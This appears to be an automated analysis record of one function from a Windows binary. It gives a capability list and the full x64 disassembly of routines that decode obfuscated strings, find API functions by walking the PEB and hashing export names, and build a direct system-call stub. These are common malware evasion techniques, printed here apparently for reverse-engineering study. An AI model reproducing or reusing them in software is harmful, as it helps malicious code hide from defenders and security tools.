Function at 0x1800242a0
Capabilities:
Access peb ldr_data
Encode data using xor
Encrypt data using rc4 prga
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0xb0]
sub rsp, 0x1b0
mov rax, qword [0x180253040]
xor rax, rsp
mov qword [rbp + 0xa8], rax
mov esi, ecx
mov dword [rbp + 0x88], 0x20
mov dword [rbp + 0x50], 0x2b2a2d2d
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x54], xmm0
mov word [rbp + 0x64], ax
xor r14d, r14d
mov qword [rsp + 0x20], r14
mov rax, qword [rsp + 0x20]
movabs r9, 0x85b6c0a6acf88f5a
nop word [rax + rax]
mov rcx, qword [rsp + 0x20]
mov rax, qword [rsp + 0x20]
movzx edx, byte [rbp + rax + 0x50]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x76
mov rax, qword [rsp + 0x20]
mov byte [rbp + rax + 0x50], r8b
mov rax, qword [rsp + 0x20]
inc rax
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
cmp rax, 0x16
jb 0x180024310
mov eax, dword [rbp + 0x50]
mov dword [rbp + 0x8c], eax
mov dword [rbp - 0x30], 0xb0a0d0c
xor eax, eax
mov qword [rbp - 0x2c], rax
mov dword [rbp - 0x24], eax
mov word [rbp - 0x20], ax
mov qword [rsp + 0x20], r14
mov rax, qword [rsp + 0x20]
movabs r9, 0xc3dec42818d17302
nop dword [rax]
mov rcx, qword [rsp + 0x20]
mov rax, qword [rsp + 0x20]
movzx edx, byte [rbp + rax - 0x30]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0xe
mov rax, qword [rsp + 0x20]
mov byte [rbp + rax - 0x30], r8b
mov rax, qword [rsp + 0x20]
inc rax
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
cmp rax, 0x12
jb 0x180024390
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x180024466
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x180024466
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rdi + r9*4]
mov ecx, dword [rcx + r10]
add rcx, r10
mov r8d, 0x3f35663e
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x180024461
nop
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx]
lea rcx, [rcx + 1]
test dl, dl
jne 0x180024440
cmp r8d, 0x526e2c99
je 0x18002446b
test r9d, r9d
jne 0x180024420
mov rax, qword [rax]
jmp 0x1800243f0
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rbx + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r9d, dword [rcx + rax*4]
add r9, r10
mov r8d, 0x20
mov edx, dword [rbp - 0x30]
lea rcx, [rbp + 0x88]
call r9
mov dword [rbp - 0x10], 0xbab9b8b7
xor eax, eax
mov qword [rbp - 0xc], rax
mov dword [rbp - 4], eax
mov word [rbp], ax
mov qword [rsp + 0x20], r14
mov rax, qword [rsp + 0x20]
movabs r9, 0x9d166553b6b3d2c7
nop
mov rcx, qword [rsp + 0x20]
mov rax, qword [rsp + 0x20]
movzx edx, byte [rbp + rax - 0x10]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x71
mov rax, qword [rsp + 0x20]
mov byte [rbp + rax - 0x10], r8b
mov rax, qword [rsp + 0x20]
inc rax
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
cmp rax, 0x12
jb 0x1800244c0
mov eax, dword [rbp - 0x10]
xorps xmm0, xmm0
cmp rsi, rax
jne 0x1800245a2
mov dword [rsp + 0x40], 0x3a393837
mov dword [rsp + 0x44], 0x3e3d3c3b
xor eax, eax
movups xmmword [rsp + 0x48], xmm0
mov dword [rsp + 0x58], eax
mov byte [rsp + 0x5c], al
mov qword [rsp + 0x20], r14
mov rax, qword [rsp + 0x20]
movabs r9, 0x54cc30ce304313f7
nop word [rax + rax]
mov rcx, qword [rsp + 0x20]
mov rax, qword [rsp + 0x20]
movzx edx, byte [rsp + rax + 0x40]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x3f
mov rax, qword [rsp + 0x20]
mov byte [rsp + rax + 0x40], r8b
mov rax, qword [rsp + 0x20]
inc rax
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
cmp rax, 0x1d
jb 0x180024550
mov rax, qword [rsp + 0x40]
jmp 0x180024620
mov dword [rbp - 0x70], 0xa153d06
xor eax, eax
movups xmmword [rbp - 0x6c], xmm0
mov dword [rbp - 0x5c], eax
mov word [rbp - 0x58], ax
mov byte [rbp - 0x56], al
mov qword [rsp + 0x20], r14
mov rax, qword [rsp + 0x20]
movabs r9, 0xd055c37119ed20ad
nop dword [rax]
mov rcx, qword [rsp + 0x20]
mov rax, qword [rsp + 0x20]
movzx edx, byte [rbp + rax - 0x70]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x45
mov rax, qword [rsp + 0x20]
mov byte [rbp + rax - 0x70], r8b
mov rax, qword [rsp + 0x20]
inc rax
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
cmp rax, 0x1b
jb 0x1800245d0
movsxd rax, dword [rbp - 0x70]
imul rax, rsi
mov qword [rbp + 0x80], rax
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x68], xmm0
mov dword [rsp + 0x78], 0x48ca8949
mov word [rsp + 0x7c], 0xc0c7
mov word [rbp - 0x7e], 0x50f
mov byte [rbp - 0x7c], 0xc3
cmp qword [0x180265488], r14
jne 0x18002467d
cmp qword [0x180265490], r14
jne 0x18002467d
mov edx, 0xcf2c21fd
call fcn.1800240a0
mov qword [0x180265488], rax
mov edx, 0x4227b88d
call fcn.1800240a0
mov qword [0x180265490], rax
mov dword [rbp + 0x10], 0x1b1a1918
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x14], xmm0
mov word [rbp + 0x24], ax
mov byte [rbp + 0x26], al
mov qword [rsp + 0x20], r14
mov rax, qword [rsp + 0x20]
movabs r9, 0xd416a4a555f508ac
nop dword [rax + rax]
mov rcx, qword [rsp + 0x20]
mov rax, qword [rsp + 0x20]
movzx edx, byte [rbp + rax + 0x10]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x4c
mov rax, qword [rsp + 0x20]
mov byte [rbp + rax + 0x10], r8b
mov rax, qword [rsp + 0x20]
inc rax
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
cmp rax, 0x17
jb 0x1800246b0
mov edx, 0xebb3526f
call fcn.1800240a0
mov ecx, dword [rax + 4]
mov dword [rsp + 0x60], ecx
mov dword [rsp + 0x7e], ecx
lea rcx, [rsp + 0x68]
call fcn.180024930
lea rdx, [rbp + 0x80]
mov ecx, dword [rbp + 0x10]
call qword [rsp + reloc.WS2_32.dll_WSASetLastError]
mov edi, eax
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x18002477a
mov rbx, qword [0x180265490]
mov qword [rbp + 0x78], r14
mov qword [rbp + 0x70], rcx
mov r9d, 0x8000
lea r8, [rbp + 0x78]
lea rdx, [rbp + 0x70]
mov rcx, 0xffffffffffffffff
call rbx
cmp eax, 0xc0000045
jne 0x180024775
mov r9d, 0x8000
lea r8, [rbp + 0x78]
lea rdx, [rbp + 0x70]
mov rcx, 0xffffffffffffffff
call rbx
mov qword [rsp + 0x68], r14
mov dword [rbp - 0x50], 0xc3c4c5c6
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x4c], xmm0
mov dword [rbp - 0x3c], eax
mov word [rbp - 0x38], ax
mov byte [rbp - 0x36], al
mov qword [rsp + 0x20], r14
mov rax, qword [rsp + 0x20]
movabs r9, 0x8a076742cfe2f61
nop dword [rax + rax]
mov rcx, qword [rsp + 0x20]
mov rax, qword [rsp + 0x20]
movzx edx, byte [rbp + rax - 0x50]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x59
mov rax, qword [rsp + 0x20]
mov byte [rbp + rax - 0x50], r8b
mov rax, qword [rsp + 0x20]
inc rax
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
cmp rax, 0x1b
jb 0x1800247b0
xor eax, eax
cmp edi, dword [rbp - 0x50]
jne 0x18002487e
mov dword [rsp + 0x30], 0x8b9495d6
mov qword [rsp + 0x34], rax
mov dword [rsp + 0x3c], eax
mov qword [rsp + 0x20], r14
mov rax, qword [rsp + 0x20]
movabs r9, 0x8a34dda941a4076d
nop dword [rax]
nop dword [rax + rax]
mov rcx, qword [rsp + 0x20]
mov rax, qword [rsp + 0x20]
movzx edx, byte [rsp + rax + 0x30]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 5
mov rax, qword [rsp + 0x20]
mov byte [rsp + rax + 0x30], r8b
mov rax, qword [rsp + 0x20]
inc rax
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
cmp rax, 0x10
jb 0x180024830
mov eax, dword [rsp + 0x30]
jmp 0x1800248fb
mov dword [rbp + 0x30], 0xfbf8f906
xorps xmm0, xmm0
movups xmmword [rbp + 0x34], xmm0
mov qword [rbp + 0x44], rax
mov dword [rbp + 0x4c], eax
mov qword [rsp + 0x20], r14
mov rax, qword [rsp + 0x20]
movabs r9, 0xfdb1ceb842a07cff
nop word [rax + rax]
mov rcx, qword [rsp + 0x20]
mov rax, qword [rsp + 0x20]
movzx edx, byte [rbp + rax + 0x30]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 7
mov rax, qword [rsp + 0x20]
mov byte [rbp + rax + 0x30], r8b
mov rax, qword [rsp + 0x20]
inc rax
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
cmp rax, 0x20
jb 0x1800248b0
mov eax, dword [rbp + 0x30]
mov rcx, qword [rbp + 0xa8]
xor rcx, rsp
call fcn.180030780
lea r11, [rsp + 0x1b0]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret